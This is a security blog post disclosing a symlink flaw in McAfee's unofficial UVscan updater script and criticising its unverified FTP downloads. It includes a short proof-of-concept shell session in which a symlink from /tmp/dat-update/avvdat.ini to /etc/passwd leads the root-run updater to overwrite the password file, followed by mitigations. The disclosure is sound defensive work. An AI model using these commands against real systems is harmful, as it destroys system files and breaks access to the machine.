McAfee Updater - I just shat on your filesystem

This document discusses a vulnerability in McAfee’s updater. The download for this, and a KB article discussing it, is found here:


It is stated by McAfee: NOTE: The attached script is only an example of how to automate the update process and is not officially supported by McAfee Technical Support. Please also see KB67821 - DAT files are not removed from the /tmp/dat-update directory for a known issue with respect to this script when using the /sbin/sh shell. The discussed KB article: How can McAfee actually expect you to operate a virus scanner without a regular update process? Either we accept the product as effectively useless, or we produce a better update process. UVscan itself has been the subject of an identical symlink bug, for which McAfee released a security fix back in 2008.

Breaking the script down

Upon unzipping, some interesting parts of the script are:

  • Insists you set an email address. This implies the script has some sort of alerting capabilities. No. It just uses it to logon to an FTP server as a password.
  • Run a “mkdir -p $tmp_dir”. $tmp_dir defaults to /tmp/dat-update. Note the -p. If folder already exists - that’s OK.
  • Now check $tmp_dir exists. Duh.
  • Download, from, avvdat.ini. McAfee link their own KB articles using SSL, where you have security against DNS hijacks. Why use FTP here?
  • A tonne of shell scripting to parse avvdat.ini and get the latest version DAT file out of it, and the DAT file MD5.
  • Download a ZIP file of the latest DAT
  • Compare the MD5 of the downloaded file with the hash earlier downloaded from the same FTP site
  • Unzip our DAT files over the top of our live ones.
  • Do some integrity checking. Do nothing but error if there’s a problem.

Issues with this are

The most obvious of the issues is that there is no integrity on the downloaded files. Anyone who can hijack your DNS can setup their own, and store on it, an avvdat.ini file that never changes, preventing you from ever getting an update. More interestingly, the exercise to the reader is to utilise this, in combination with the below exploit, to overwrite, for example, /etc/passwd. Finally, with nothing stated anywhere, this script is going to end up run as root. This is a dumb enough move that the script itself should force the user to do otherwise.


{% highlight bash %} [Technion@turbonegro ~]$ echo Setting up the bomb Setting up the bomb [Technion@turbonegro ~]$ mkdir /tmp/dat-update [Technion@turbonegro ~]$ ln -s /etc/passwd /tmp/dat-update/avvdat.ini

[root@turbonegro ~]# head -n 1 /etc/passwd root:x:0:0:root:/root:/bin/bash [root@turbonegro ~]# /bin/bash ~/uvscan/updater Mechanism not supported Mechanism not supported KERBEROS_V4 rejected as an authentication type Local directory now /tmp/dat-update updater: DAT already up to date (6054.0) [root@turbonegro ~]# head -n 1 /etc/passwd [AVV-ZIP] [root@turbonegro ~]# whoami
whoami: cannot find name for user ID 0 [root@turbonegro ~]# ruh-roh :( {% endhighlight %}

Mitigating facts

A secure umask means the above attack would need to be carried out prior to the first update, or after a cleanup by tmpwatch, which runs by default on many distributions. Some distributions and configurations also remove this directory on reboot, or mount it as a tmpfs. In my opinion, although a secure umask should always be in place, a security application such as a virus scanner should not count on it. I also think this is the least serious of the vulnerabilities.


  • Utilise “least privilege” principle on the updater script
  • Utilise the alternate script provided. This script contains information on implementing the above requirement.
  • Implement an SSL site for downloads, or digitally sign downloads in a way that can be verified prior to installation.

Fixed Updater

I cannot stress enough this only resolves the symlink issue demonstrated above. It does not solve any issues to do with the fact there is no verification on the source these files are downloaded from. To implement a highly paranoid downloader script, see here: Instructions on its use are contained within its headers.